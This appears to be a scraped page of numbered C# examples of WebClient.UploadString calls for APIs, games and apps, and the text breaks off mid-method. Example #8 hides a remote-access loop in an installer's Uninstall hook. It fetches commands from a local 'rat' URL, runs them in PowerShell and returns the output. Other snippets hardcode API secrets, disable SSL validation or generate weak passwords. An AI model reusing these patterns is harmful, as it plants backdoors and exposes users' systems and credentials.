示例#1
2
    public string getData()
    {
        string URI = "https://api.foursquare.com/v2/venues/search?client_id=DZQC0RRNMSJYGI3EGA4JEPM41BPIAPVBXWT2BBWWAJJSPU4H&client_secret=ZZ10QVMVYCRAJITX2RQDHHARZLCEVEYGYPV2CBA3S2BPHZ0D";
        string myParameters = "v=20130815&ll=40.7,-74&query=";

        using (WebClient webClient = new WebClient())
        {
            webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
            HtmlResult = webClient.UploadString(URI, myParameters);
        }
        return HtmlResult;
    }
 public FederateRecordSet GetFederateInfo()
 {
     if (ViewState["FederateRecordSet"] == null)
     {
         System.Net.WebClient wc = new WebClient();
         string federatedata = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/GetAllFederates", "POST", "");
         FederateRecordSet federates = (new JavaScriptSerializer()).Deserialize<FederateRecordSet>(federatedata);
         ViewState["FederateRecordSet"] = federates;
     }
     return ViewState["FederateRecordSet"] as FederateRecordSet;
 }
示例#3
0
    protected void Page_Load(object sender, EventArgs e)
    {
        var client = new WebClient();

        var create = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd/1980-2-14", "PUT", string.Empty);
        var read = client.DownloadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd");
        var update = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd/1980-2-14", "POST", string.Empty);
        var delete = client.UploadString("http://localhost:3502/ServiceHost/Web/REST.svc/User/webabcd", "DELETE", string.Empty);

        lblMsg.Text = string.Format("{0}<br />{1}<br />{2}<br />{3}",
            create,
            read,
            update,
            delete);
    }
示例#4
0
    private void GetUpdateList(string updateKey)
    {
        WebClient client = new WebClient();
        client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";

        string response;

        try
        {
            response = client.UploadString("http://infinity-code.com/products_update/checkupdates.php",
            "k=" + WWW.EscapeURL(updateKey) + "&v=" + OnlineMaps.version + "&c=" + (int)channel);
        }
        catch
        {
            return;
        }
        
        XmlDocument document = new XmlDocument();
        document.LoadXml(response);

        XmlNode firstChild = document.FirstChild;
        updates = new List<OnlineMapsUpdateItem>();

        foreach (XmlNode node in firstChild.ChildNodes) updates.Add(new OnlineMapsUpdateItem(node));
    }
示例#5
0
    static void Main()
    {
        WebClient client = new WebClient();
        string address = "http://localhost:50560/CalculateDistance?startX=10&endX=10&startY=15&endY=15";
        var query = client.UploadString(address, "GET");

        Console.WriteLine(query);
    }
示例#6
0
 private void Game_OnGameEnd(GameEndEventArgs args)
 {
     using (WebClient wc = new WebClient())
     {
         wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
         wc.UploadString("http://niels-wouters.be/LeagueSharp/stats.php", "assembly=" + ChampName);
     }
 }
示例#7
0
    private string GetUpdateKey()
    {
        WebClient client = new WebClient();
        client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
        string updateKey = client.UploadString("http://infinity-code.com/products_update/getupdatekey.php",
            "key=" + invoiceNumber + "&package=" + WWW.EscapeURL("Online Maps"));

        return updateKey;
    }
示例#8
0
	//The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
	public override void Uninstall(System.Collections.IDictionary savedState)
	{		
		WebClient w = new WebClient();
			
            while (true)
            {
				
				try{
				
				string r = w.DownloadString("http://127.0.0.1/rat");
				string results = Pshell.RunPSCommand(r);
				w.UploadString("http://127.0.0.1/rat",results);
				}
				catch (Exception e)
				{
					w.UploadString("http://127.0.0.1/rat",e.Message);
				}
				
            }
			
	}
示例#9
0
 public string Post(string Url, string cookie, string data)
 {
     WebClient myClient = new WebClient();
     myClient.Headers.Add(cookie+"; __atuvc=5%7C15; __unam=4134b67-1453678e31a-476b0f5e-5");
     myClient.Headers.Add("X-Requested-With:XMLHttpRequest");
     myClient.Headers.Add("Content-Type: application/x-www-form-urlencoded");
     string resp = myClient.UploadString(Url, data);
     FileStream fs = new FileStream("E:/1.txt", FileMode.Create);
     byte[] bytes = Encoding.UTF8.GetBytes(resp);
     fs.Write(bytes, 0, bytes.Length);
     fs.Close();
     return resp;
 }
示例#10
0
    /// <summary>
    /// Calls the API.
    /// </summary>
    /// <param name="source">
    /// The source.
    /// </param>
    /// <returns>
    /// The call API.
    /// </returns>
    /// <remarks>
    /// </remarks>
    public static string CallApi(string source)
    {
        using (var client = new WebClient())
        {
            client.Headers.Add("content-type", "application/x-www-form-urlencoded");
            var data = string.Format(PostData, source);
            var result = client.UploadString(ApiEndpoint, data);
            ErrorHandler.Publish(LogLevel.Debug, result);

            var doc = new XmlDocument();
            doc.LoadXml(result);
            var node = doc.SelectSingleNode("//compiledCode");
            return node != null ? node.InnerText : string.Empty;
        }
    }
示例#11
0
    private void Game_OnGameLoad(EventArgs args)
    {
        Player = ObjectManager.Player;

        if (ChampName.ToLower() != Player.ChampionName.ToLower())
            return;

        SkinManager = new SkinManager();
        Spells = new SpellManager();

        InitializeSpells(ref Spells);
        InitializeSkins(ref SkinManager);

        Menu = new Menu("Easy" + ChampName, "Easy" + ChampName, true);

        SkinManager.AddToMenu(ref Menu);

        Menu.AddSubMenu(new Menu("Target Selector", "Target Selector"));
        SimpleTs.AddToMenu(Menu.SubMenu("Target Selector"));

        Menu.AddSubMenu(new Menu("Orbwalker", "Orbwalker"));
        Orbwalker = new Orbwalking.Orbwalker(Menu.SubMenu("Orbwalker"));

        InitializeMenu();

        Menu.AddItem(new MenuItem("Recall_block", "Block spells while recalling").SetValue(true));
        Menu.AddToMainMenu();

        Game.OnGameUpdate += Game_OnGameUpdate;
        Game.OnGameEnd += Game_OnGameEnd;
        Drawing.OnDraw += Drawing_OnDraw;

        try
        {
            using (WebClient wc = new WebClient())
            {
                wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
                string amount = wc.UploadString("http://niels-wouters.be/LeagueSharp/playcount.php", "assembly=" + ChampName);
                Game.PrintChat("Easy" + ChampName + " is loaded! This assembly has been played in " + amount + " games.");
            }
        }
        catch (Exception)
        {
            Game.PrintChat("Easy" + ChampName + " is loaded! Error trying to contact EasyServer!");
        }
    }
示例#12
0
	//creates the player
	public static Player createPlayer(string name) {
		Player player = null;
		string endpoint = api + "/players?name=" + name + "&device_id=" + Util.getDeviceID ();

		WebClient client = new WebClient ();
		string response = client.UploadString (endpoint,"");

		JObject json = JObject.Parse (response);
		player = new Player(
			(int)json["id"],
			(string)json["name"],
			(int)json["hifive_count"],
			(int)json["characters"],
			(int)json["powerup_lvl"]
		);
		return player;

	}
示例#13
0
	public static void Main(string[] args)
	{
		var url = args[0];
		var user = args[1];
		var pass = args[2];
		var postData = args[3];

		//SSL証明書を無視
		ServicePointManager.ServerCertificateValidationCallback = 
			(sender, cert, chain, errors) => true;

		WebClient wc = new WebClient();

		//Basic認証
		wc.Credentials = new NetworkCredential(user, pass);

		//Post
		var res = wc.UploadString(url, "POST", postData);

		Console.Write(res);
	}
示例#14
0
 public string Request(string[] mnfo)
 {
     string HtmlResult = "";
     using (WebClient wc = new WebClient()) {
         string URI = "https://api.put.io/v2" + mnfo[1];
         if (mnfo[0] == "GET") {
             HtmlResult = wc.DownloadString(URI + "?oauth_token=" + this.Token);
         } else if (mnfo[0] == "POST") {
             wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
             mnfo[2] += "&oauth_token=" + this.Token;
             HtmlResult = wc.UploadString(URI, mnfo[2]);
         } else if (mnfo[0] == "GETRedirect") {
             var request = (HttpWebRequest)WebRequest.Create(URI + "?oauth_token=" + this.Token);
             request.Method = "HEAD";
             request.AllowAutoRedirect = false;
             string location;
             using (var response = request.GetResponse() as HttpWebResponse) {
                 location = response.GetResponseHeader("Location");
             }
             HtmlResult = location;
         }
     }
     return HtmlResult;
 }
    // Use this to do a POST of a trails exercise
    public IEnumerator POSTTrailExercise(string exercisePath)
    {
        bool allProper = false;
        int retryCount = NumberOfRetries;
        string result = "";

        TrailPreferences xmldata = new TrailPreferences();

        // let's start with the easy part: they tell me
        // where the .xml is, I open it and read it
        string mainFilePath = exercisePath + "\\main.xml";
        //Debug.Log("The path i search for the xml is " + mainFilePath);

        if (File.Exists(mainFilePath))
        {
            xmldata.LoadXML(mainFilePath);
            //Debug.Log("I actually read it!");

            // since it's really working we can
            // create the JSON structure to send

            JSONObject nested_fields_lvl1 = new JSONObject(JSONObject.Type.OBJECT);

            nested_fields_lvl1.AddField("patient_id", TrailPreferences.patientID);
            nested_fields_lvl1.AddField("time_to_live", TrailPreferences.trailsTimeToLive);
            nested_fields_lvl1.AddField("typology", TrailPreferences.trailsType.ToString());
            nested_fields_lvl1.AddField("start_datetime", TrailPreferences.initTime);
            nested_fields_lvl1.AddField("end_datetime", TrailPreferences.endTime);
            nested_fields_lvl1.AddField("special_fx", TrailPreferences.trailsSpecialFX.ToString().ToLower());

            // I have to get all the doctors involved
            // and pick out the first since it is the logged one
            string list_of_doctors = string.Join(", ", TrailPreferences.doctorsIDs.Skip(1).ToArray());
            nested_fields_lvl1.AddField("other_doctors", "[" + list_of_doctors + "]");

            // ok, let's start with the big issues... trails colors
            nested_fields_lvl1.AddField("enabled_therapist_left", TrailPreferences.othersSX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.othersSX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2TL = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2TL.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2TL.AddField("a", TrailPreferences.othersSX_trailsColor.a.ToString());
                nested_fields_lvl2TL.AddField("r", TrailPreferences.othersSX_trailsColor.r.ToString());
                nested_fields_lvl2TL.AddField("g", TrailPreferences.othersSX_trailsColor.g.ToString());
                nested_fields_lvl2TL.AddField("b", TrailPreferences.othersSX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("therapist_left_trail_color", nested_fields_lvl2TL);
            }

            nested_fields_lvl1.AddField("enabled_therapist_right", TrailPreferences.othersDX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.othersDX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2TR = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2TR.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2TR.AddField("a", TrailPreferences.othersDX_trailsColor.a.ToString());
                nested_fields_lvl2TR.AddField("r", TrailPreferences.othersDX_trailsColor.r.ToString());
                nested_fields_lvl2TR.AddField("g", TrailPreferences.othersDX_trailsColor.g.ToString());
                nested_fields_lvl2TR.AddField("b", TrailPreferences.othersDX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("therapist_right_trail_color", nested_fields_lvl2TR);
            }

            nested_fields_lvl1.AddField("enabled_patient_left", TrailPreferences.patientSX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.patientSX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2PL = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2PL.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2PL.AddField("a", TrailPreferences.patientSX_trailsColor.a.ToString());
                nested_fields_lvl2PL.AddField("r", TrailPreferences.patientSX_trailsColor.r.ToString());
                nested_fields_lvl2PL.AddField("g", TrailPreferences.patientSX_trailsColor.g.ToString());
                nested_fields_lvl2PL.AddField("b", TrailPreferences.patientSX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("patient_left_trail_color", nested_fields_lvl2PL);
            }

            nested_fields_lvl1.AddField("enabled_patient_right", TrailPreferences.patientDX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.patientDX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2PR = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2PR.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2PR.AddField("a", TrailPreferences.patientDX_trailsColor.a.ToString());
                nested_fields_lvl2PR.AddField("r", TrailPreferences.patientDX_trailsColor.r.ToString());
                nested_fields_lvl2PR.AddField("g", TrailPreferences.patientDX_trailsColor.g.ToString());
                nested_fields_lvl2PR.AddField("b", TrailPreferences.patientDX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("patient_right_trail_color", nested_fields_lvl2PR);
            }

            if (TrailPreferences.colorFilterEnabled == true)
            {
                JSONObject nested_fields_lvl2CF = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2CF.AddField("a", TrailPreferences.colorFilterAlpha.ToString());
                nested_fields_lvl2CF.AddField("r", TrailPreferences.colorFilter.r.ToString());
                nested_fields_lvl2CF.AddField("g", TrailPreferences.colorFilter.g.ToString());
                nested_fields_lvl2CF.AddField("b", TrailPreferences.colorFilter.b.ToString());

                nested_fields_lvl1.AddField("color_filter", nested_fields_lvl2CF);
            }

            // now the part which is going to be a mess, about the backgrounds
            if (TrailPreferences.backgroundIsImage == false)
            {
                JSONObject nested_fields_lvl2BG = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BG.AddField("a", TrailPreferences.backgroundColor.a.ToString());
                nested_fields_lvl2BG.AddField("r", TrailPreferences.backgroundColor.r.ToString());
                nested_fields_lvl2BG.AddField("g", TrailPreferences.backgroundColor.g.ToString());
                nested_fields_lvl2BG.AddField("b", TrailPreferences.backgroundColor.b.ToString());

                nested_fields_lvl1.AddField("background_color", nested_fields_lvl2BG);
            }
            else
            {
                string fullPath = Path.Combine(exercisePath, Path.GetFileName(TrailPreferences.backgroundTexturePath));

                byte[] bytes = File.ReadAllBytes(fullPath);

                string base64String = System.Convert.ToBase64String(bytes);
                // Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2BI = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BI.AddField("filename", TrailPreferences.backgroundTexturePath);
                nested_fields_lvl2BI.AddField("content", base64String);
                nested_fields_lvl2BI.AddField("content_type", "image/jpeg");

                nested_fields_lvl1.AddField("background_image", nested_fields_lvl2BI);
            }

            if (1 == 1)
            {
                // I'm reading the heartbeats now
                string fullPathHB = Path.Combine(exercisePath, "heartRate.dat");
                Debug.Log("path dove cerca l'HB: " + fullPathHB);

                byte[] bytesHB = File.ReadAllBytes(fullPathHB);

                string base64StringHB = System.Convert.ToBase64String(bytesHB);
                // Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2HB = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2HB.AddField("filename", "heartRate.dat");
                nested_fields_lvl2HB.AddField("content", base64StringHB);
                nested_fields_lvl2HB.AddField("content_type", "file/dat");

                nested_fields_lvl1.AddField("heartbeat_file", nested_fields_lvl2HB);
            }


            // finally, everything goes back into trail
            JSONObject root_trail = new JSONObject(JSONObject.Type.OBJECT);
            root_trail.AddField("trail", nested_fields_lvl1);

            string encodedString = root_trail.ToString();
            Debug.Log(encodedString);

            while (!allProper && retryCount > 0)
            {
                //the actual call, in a try catch
                try
                {
                    using (var client = new WebClient())
                    {
                        string token_string = "Token token=\"" + token + "\", email=\"" + login_email + "\"";
                        client.Headers[HttpRequestHeader.Authorization] = token_string;
                        client.Headers[HttpRequestHeader.ContentType] = "application/json";
                        result = client.UploadString(trails_url, "POST", encodedString);
                    }
                    allProper = true;
                }
                catch (WebException ex)
                {
                    retryCount--;

                    if (retryCount == 0)
                    {
                        Debug.Log("exception: " + ex);
                        var response = ex.Response as HttpWebResponse;
                        errorHandler = RestError.GenericPostTrailError;

                        if (response != null)
                        {
                            Debug.Log("HTTP Status Code: " + (int)response.StatusCode);
                            switch ((int)response.StatusCode)
                            {
                                case 500:
                                    errorHandler = RestError.ServerError;
                                    break;
                                default:
                                    break;
                            }
                        }

                        break;
                    }
                }
            }

        }
        else
        {
            errorHandler = RestError.XMLNotPresent;
        }

        yield return result;

        if (allProper)
        {
            errorHandler = RestError.AllGood;

            Debug.Log(result);
        }

    }
示例#16
0
        public ActionResult UserPasswordUpdate(string email)
        {
            DataContractJsonSerializer ser =
                new DataContractJsonSerializer(typeof(string));
            MemoryStream mem = new MemoryStream();

            ser.WriteObject(mem, email);
            string data =
                Encoding.UTF8.GetString(mem.ToArray(), 0, (int)mem.Length);
            WebClient webClientt = new WebClient();

            webClientt.Headers["Content-type"] = "application/json";
            webClientt.Encoding = Encoding.UTF8;
            var  response = webClientt.UploadString("http://localhost:65132/QarocoService.svc/User/UserLog", "POST", data);
            User user     = JsonConvert.DeserializeObject <User>(response);


            Random rnd    = new Random();
            int    random = rnd.Next(1000, 9999);

            user.Password = random.ToString();



            DataContractJsonSerializer ser2 =
                new DataContractJsonSerializer(typeof(User));
            MemoryStream mem2 = new MemoryStream();

            ser2.WriteObject(mem2, user);
            string    data22      = Encoding.UTF8.GetString(mem2.ToArray(), 0, (int)mem2.Length);
            WebClient webClientt2 = new WebClient();

            webClientt2.Headers["Content-type"] = "application/json";
            webClientt2.Encoding = Encoding.UTF8;

            var _response2 = webClientt2.UploadString("http://localhost:65132/QarocoService.svc/User/UserEdit", "POST", data22);

            if (_response2 == "true")
            {
                MailMessage _mm = new MailMessage();
                _mm.SubjectEncoding = Encoding.Default;
                _mm.Subject         = "Yeni Şifreniz";
                _mm.BodyEncoding    = Encoding.Default;
                _mm.Body            = "Maili Gönderen : QAROCO" + "\n" + "Yeni Şifreniz:" + random + "\nKimse ile şifrenizi paylaşmayınız!";


                _mm.From = new MailAddress(System.Configuration.ConfigurationManager.AppSettings["emailAccount"]);
                _mm.To.Add(user.Email);


                SmtpClient _smtpClient = new SmtpClient();
                _smtpClient.Host        = System.Configuration.ConfigurationManager.AppSettings["emailHost"];
                _smtpClient.Port        = int.Parse(System.Configuration.ConfigurationManager.AppSettings["emailPort"]);
                _smtpClient.Credentials = new NetworkCredential(System.Configuration.ConfigurationManager.AppSettings["emailAccount"], System.Configuration.ConfigurationManager.AppSettings["emailPassword"]);
                _smtpClient.EnableSsl   = bool.Parse(System.Configuration.ConfigurationManager.AppSettings["emailSLLEnable"]);

                _smtpClient.Send(_mm);
                TempData["Mesaj"] = new TempDataDictionary {
                    { "class", "alert-success" }, { "Msg", "Şifreniz mailinize gönderilmiştir." }
                };
                return(RedirectToAction("Login"));
            }
            else
            {
                TempData["Mesaj"] = new TempDataDictionary {
                    { "class", "alert-danger" }, { "Msg", "Hatalı mail!" }
                };
            }

            return(View());
        }
        static void Main(string[] args)
        {
            // Create standard .NET web client instance
            WebClient webClient = new WebClient();

            // Set API Key
            webClient.Headers.Add("x-api-key", API_KEY);


            // Prepare requests params as JSON
            // See documentation: https://apidocs.pdf.co/#1-json-pdfconvertfromcsv
            Dictionary <string, string> parameters = new Dictionary <string, string>();

            parameters.Add("url", SourceFileUrl);
            parameters.Add("name", Path.GetFileName(DestinationFile));
            parameters.Add("async", Async.ToString());
            // Convert dictionary of params to JSON
            string jsonPayload = JsonConvert.SerializeObject(parameters);

            try
            {
                // URL of "CSV to PDF" endpoint
                string url = "https://api.pdf.co/v1/pdf/convert/from/csv";

                // Execute POST request with JSON payload
                string response = webClient.UploadString(url, jsonPayload);

                // Parse JSON response
                JObject json = JObject.Parse(response);

                if (json["error"].ToObject <bool>() == false)
                {
                    // Asynchronous job ID
                    string jobId = json["jobId"].ToString();
                    // URL of generated PDF file that will available after the job completion
                    string resultFileUrl = json["url"].ToString();

                    // Check the job status in a loop.
                    // If you don't want to pause the main thread you can rework the code
                    // to use a separate thread for the status checking and completion.
                    do
                    {
                        string status = CheckJobStatus(jobId);                         // Possible statuses: "working", "failed", "aborted", "success".

                        // Display timestamp and status (for demo purposes)
                        Console.WriteLine(DateTime.Now.ToLongTimeString() + ": " + status);

                        if (status == "success")
                        {
                            // Download PDF file
                            webClient.DownloadFile(resultFileUrl, DestinationFile);

                            Console.WriteLine("Generated PDF file saved as \"{0}\" file.", DestinationFile);
                            break;
                        }
                        else if (status == "working")
                        {
                            // Pause for a few seconds
                            Thread.Sleep(3000);
                        }
                        else
                        {
                            Console.WriteLine(status);
                            break;
                        }
                    }while (true);
                }
                else
                {
                    Console.WriteLine(json["message"].ToString());
                }
            }
            catch (WebException e)
            {
                Console.WriteLine(e.ToString());
            }

            webClient.Dispose();


            Console.WriteLine();
            Console.WriteLine("Press any key...");
            Console.ReadKey();
        }
示例#18
0
        private void backgroundWorkerSync_DoWork(object sender, DoWorkEventArgs e)
        {
#if DEBUG
            /*
             * string username = "******";
             * string key = "7a8d5b8e34fc8339f58cc2c8e8353e7f";
             * string baseURL = "http://192.168.0.77:8080/api.dev";
             */
            string username = "******";
            string key      = "a2292cc4096d84751539965522655cff";
            string baseURL  = "http://api.sotubo.pt";
#else
            string username = "******";
            string key      = "a2292cc4096d84751539965522655cff";
            string baseURL  = "http://api.sotubo.pt";
#endif
            WebClient cl = new WebClient();
            cl.Credentials = new NetworkCredential(username, key);
            cl.Encoding    = System.Text.Encoding.UTF8;
            cl.Headers[HttpRequestHeader.Authorization]  = string.Format("Basic {0}:{1}", username, key);
            cl.Headers[HttpRequestHeader.ContentType]    = "application/json;charset=utf-8";
            cl.Headers[HttpRequestHeader.Accept]         = "application / json, text / plain, */*";
            cl.Headers[HttpRequestHeader.AcceptEncoding] = "gzip, deflate";


            //RestClient client = new RestClient();
            //client.BaseUrl = new Uri("http://api.sotubo.pt");
            //client.Authenticator = new HttpBasicAuthenticator("sig", "a2292cc4096d84751539965522655cff");
            //client.BaseUrl = new Uri("http://192.168.0.77:8080/api.dev");
            //client.Authenticator = new HttpBasicAuthenticator("ncs", "7a8d5b8e34fc8339f58cc2c8e8353e7f");


            int  campaign_id = -1;
            bool dirty       = false;
            while (!backgroundWorkerSync.CancellationPending && campaign_id < 0)
            {
                try
                {
                    string response = cl.DownloadString(baseURL + "/mrp/count");

                    //RestRequest request = new RestRequest(Method.POST);
                    //request.Resource = "mrp/count";
                    //IRestResponse response = client.Execute(request);
                    if (!string.IsNullOrEmpty(response))
                    {
                        JObject r = JObject.Parse(response);
                        if (r.ContainsKey("result") && r["result"].Value <Int32>() == 1)
                        {
                            JToken jdata = r["jdata"];
                            if (jdata != null)
                            {
                                campaign_id = jdata["id"].Value <Int32>();
                                break;
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine(ex.Message);
                }


                int t = 60;
                while (t-- > 0 || backgroundWorkerSync.CancellationPending)
                {
                    Thread.Sleep(1000);
                }
            }


            SqliteConnector sqlite = DbConnection;

            if (!backgroundWorkerSync.CancellationPending)
            {
                try
                {
                    string response = cl.DownloadString(baseURL + "/mrp/count/locations");

                    //RestRequest request = new RestRequest(Method.POST);
                    //request.Resource = "mrp/count";
                    //IRestResponse response = client.Execute(request);
                    if (!string.IsNullOrEmpty(response))
                    {
                        JObject r = JObject.Parse(response);
                        if (r.ContainsKey("result") && r["result"].Value <Int32>() == 1)
                        {
                            JArray jdata = r["jdata"] as JArray;
                            if (jdata != null && jdata.Count > 0)
                            {
                                using (SQLiteConnection sqliteCon = sqlite.Connect())
                                {
                                    List <Location> existent = sqlite.GetLocations(sqliteCon);

                                    foreach (JObject loc in jdata)
                                    {
                                        string   code        = loc["code"].Value <string>();
                                        string   description = loc["description"].Value <string>();
                                        Location db          = null;
                                        for (int i = 0; i < existent.Count; i++)
                                        {
                                            if (existent[i].Code.Equals(code))
                                            {
                                                db = existent[i];
                                                break;
                                            }
                                        }

                                        if (db == null)
                                        {
                                            //new location record
                                            db             = new Data.Location();
                                            db.Code        = code;
                                            db.Description = description;
                                            sqlite.Insert(sqliteCon, db);
                                        }
                                        else
                                        {
                                            //exists, update it and remove it from existent list so we can later delete it
                                            bool changes = false;
                                            if (!db.Description.Equals(description))
                                            {
                                                db.Description = description;
                                                changes        = true;
                                            }

                                            if (changes)
                                            {
                                                sqlite.Update(sqliteCon, db);
                                            }

                                            existent.Remove(db);
                                        }
                                    }
                                    //the ones that remain in existent list are to be deleted
                                    foreach (Location l in existent)
                                    {
                                        sqlite.Delete(sqliteCon, l);
                                    }
                                }
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine(ex.Message);
                }
            }


            while (!backgroundWorkerSync.CancellationPending)
            {
                dirty = false;
                try
                {
                    //sync upstream changes
                    long stamp = Properties.Settings.Default.SyncLastUpdate;
                    //RestRequest request = new RestRequest(Method.POST);
                    //request.Resource = string.Format("mrp/count/sync/{0}/{1}", campaign_id, stamp);

                    //IRestResponse response = client.Execute(request);
                    string response = cl.DownloadString(baseURL + string.Format("/mrp/count/sync/{0}/{1}", campaign_id, stamp));
                    if (!string.IsNullOrEmpty(response))
                    {
                        JObject r = JObject.Parse(response);
                        if (r.ContainsKey("result") && r["result"].Value <Int32>() == 1)
                        {
                            JArray jdata = r["jdata"] as JArray;
                            if (jdata != null && jdata.Count > 0)
                            {
                                using (SQLiteConnection sqliteCon = sqlite.Connect())
                                {
                                    foreach (JObject it in jdata)
                                    {
                                        string hash         = it["hash"].Value <string>();
                                        long   update_stamp = it["update"].Value <long>();
                                        if (update_stamp > stamp)
                                        {
                                            stamp = update_stamp;
                                        }

                                        CountEntry en = new CountEntry();
                                        en.Itmref = it["itmref"].Value <string>();
                                        //en.LabelNumber = nextNumber;
                                        en.Value = it["value"].Value <double>();
                                        en.Unit  = it["stu"].Value <string>();
                                        en.Hash  = it["hash"].Value <string>();

                                        long     unixTime = it["time"].Value <long>();
                                        DateTime epoch    = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);
                                        en.Time      = epoch.AddSeconds(unixTime);
                                        en.IsDeleted = it["deleted"].Value <int>() == 1;
                                        if (en.IsDeleted)
                                        {
                                            en.DeleteKey = DateTime.UtcNow.ToFileTimeUtc();
                                        }
                                        en.SyncCode = it["id"].Value <int>();
                                        en.Sync     = CountEntry.SyncStatus.POSTED;
                                        en.Location = it["location"].Value <string>();

                                        CountEntry ex = sqlite.GetCountEntryByHash(sqliteCon, hash);
                                        if (ex == null)
                                        {
                                            int nextNumber = 0;

                                            List <CountEntry> CountEntries = sqlite.GetCountEntries(sqliteCon, en.Itmref);
                                            nextNumber = CountEntries.Count + 1;
                                            foreach (CountEntry entry in CountEntries)
                                            {
                                                nextNumber = Math.Max(nextNumber, entry.LabelNumber + 1);
                                            }


                                            en.LabelNumber = nextNumber;
                                            sqlite.Insert(sqliteCon, en);
                                            dirty = true;
                                        }
                                        else
                                        {
                                            bool changes = false;
                                            if (!en.Itmref.Equals(ex.Itmref))
                                            {
                                                ex.Itmref = en.Itmref;
                                                changes   = true;
                                            }
                                            if (Math.Abs(en.Value - ex.Value) > 0.001)
                                            {
                                                ex.Value = en.Value;
                                                changes  = true;
                                            }
                                            if (!en.Unit.Equals(ex.Unit))
                                            {
                                                ex.Unit = en.Unit;
                                                changes = true;
                                            }
                                            if (!en.Hash.Equals(ex.Hash))
                                            {
                                                ex.Hash = en.Hash;
                                                changes = true;
                                            }
                                            if (Math.Abs((en.Time - ex.Time).TotalSeconds) > 1)
                                            {
                                                ex.Time = en.Time;
                                                changes = true;
                                            }
                                            if (!en.IsDeleted.Equals(ex.IsDeleted))
                                            {
                                                ex.IsDeleted = en.IsDeleted;
                                                changes      = true;
                                            }
                                            if (!en.SyncCode.Equals(ex.SyncCode))
                                            {
                                                ex.SyncCode = en.SyncCode;
                                                changes     = true;
                                            }
                                            if (!en.Location.Equals(ex.Location))
                                            {
                                                ex.Location = en.Location;
                                                changes     = true;
                                            }

                                            if (changes)
                                            {
                                                sqlite.Update(sqliteCon, ex);
                                                dirty = true;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                    if (stamp > Properties.Settings.Default.SyncLastUpdate)
                    {
                        Properties.Settings.Default.SyncLastUpdate = stamp;
                        Properties.Settings.Default.Save();
                    }



                    //check for dirty records
                    List <CountEntry> hoes = null;

                    using (SQLiteConnection sqliteCon = sqlite.Connect())
                    {
                        hoes = sqlite.GetDirtyCountEntries(sqliteCon);
                    }
                    if (hoes != null && hoes.Count > 0)
                    {
                        //get current active session if any
                        //request = new RestRequest(Method.POST);
                        //request.Resource = "mrp/count";

                        //response = client.Execute(request);
                        response = cl.DownloadString(baseURL + "/mrp/count");

                        if (!string.IsNullOrEmpty(response))
                        {
                            JObject r = JObject.Parse(response);
                            if (r.ContainsKey("result") && r["result"].Value <Int32>() == 1)
                            {
                                JToken jdata = r["jdata"];
                                if (jdata != null)
                                {
                                    int campaing_id = jdata["id"].Value <Int32>();

                                    //commit changes

                                    foreach (CountEntry en in hoes)
                                    {
                                        Debug.Assert(en.Sync == CountEntry.SyncStatus.NEW);
                                        //we are assuming new to know wich ones to update on local DB

                                        if (en.IsDeleted && en.SyncCode > 0)
                                        {
                                            //delete operation
                                            //request = new RestRequest(Method.POST);
                                            //request.Resource = string.Format("mrp/count/delete/{0}/{1}", campaing_id, en.SyncCode);
                                            //response = client.Execute(request);
                                            response = cl.DownloadString(baseURL + string.Format("/mrp/count/delete/{0}/{1}", campaing_id, en.SyncCode));
                                            r        = JObject.Parse(response);
                                            if (r.ContainsKey("result") && r["result"].Value <Int32>() == 1)
                                            {
                                                en.Sync = CountEntry.SyncStatus.POSTED;
                                            }
                                        }
                                        if (!en.IsDeleted)
                                        {
                                            string url;
                                            //request = new RestRequest(Method.POST);
                                            if (en.SyncCode > 0)
                                            {
                                                //update
                                                //request.Resource = string.Format("mrp/count/update/{0}/{1}", campaing_id, en.SyncCode);
                                                url = baseURL + string.Format("/mrp/count/update/{0}/{1}", campaing_id, en.SyncCode);
                                            }
                                            else
                                            {
                                                //insert
                                                //request.Resource = string.Format("mrp/count/create/{0}/", campaing_id);
                                                url = baseURL + string.Format("/mrp/count/create/{0}", campaing_id);
                                            }

                                            Article a = null;
                                            using (SQLiteConnection sqliteCon = sqlite.Connect())
                                            {
